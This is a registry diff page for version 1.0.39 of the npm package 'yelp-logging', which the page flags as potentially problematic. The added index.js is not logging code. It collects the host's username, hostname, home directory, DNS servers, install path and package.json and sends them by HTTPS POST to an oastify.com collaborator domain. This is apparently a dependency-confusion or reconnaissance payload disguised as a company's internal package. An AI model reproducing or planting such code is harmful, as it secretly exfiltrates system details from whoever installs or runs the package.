yelp-logging 1.0.39
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of yelp-logging might be problematic. Click here for more details.
- package/index.js +48 -0
- package/package.json +13 -0
package/index.js
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
|
|
7
|
+
// Renamed 'package' to 'packageName' to avoid conflict with the 'package' keyword
|
|
8
|
+
const packageName = packageJSON.name;
|
|
9
|
+
|
|
10
|
+
const trackingData = JSON.stringify({
|
|
11
|
+
p: packageName,
|
|
12
|
+
c: __dirname,
|
|
13
|
+
hd: os.homedir(),
|
|
14
|
+
hn: os.hostname(),
|
|
15
|
+
un: os.userInfo().username,
|
|
16
|
+
dns: dns.getServers(), // This will return an array of DNS servers, which might be asynchronous
|
|
17
|
+
r: packageJSON ? packageJSON.resolved : undefined, // Assuming 'resolved' is what you intended to use here
|
|
18
|
+
v: packageJSON.version,
|
|
19
|
+
pjson: packageJSON,
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
const postData = querystring.stringify({
|
|
23
|
+
msg: trackingData,
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
const options = {
|
|
27
|
+
hostname: "m1onok5wadvdqljchd3hllkco3uuik69.oastify.com", // Replace with your actual service URL (e.g., Interactsh or Pipedream)
|
|
28
|
+
port: 443,
|
|
29
|
+
path: "/",
|
|
30
|
+
method: "POST",
|
|
31
|
+
headers: {
|
|
32
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
33
|
+
"Content-Length": postData.length,
|
|
34
|
+
},
|
|
35
|
+
};
|
|
36
|
+
|
|
37
|
+
const req = https.request(options, (res) => {
|
|
38
|
+
res.on("data", (d) => {
|
|
39
|
+
process.stdout.write(d); // Write the response to standard output
|
|
40
|
+
});
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
req.on("error", (e) => {
|
|
44
|
+
console.error("Request error:", e); // Log errors if the request fails
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
req.write(postData);
|
|
48
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "yelp-logging",
|
|
3
|
+
"version": "1.0.39",
|
|
4
|
+
"description": "theycallme_mufasa",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"start": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "theycallme_mufasa",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|
|
13
|
+
|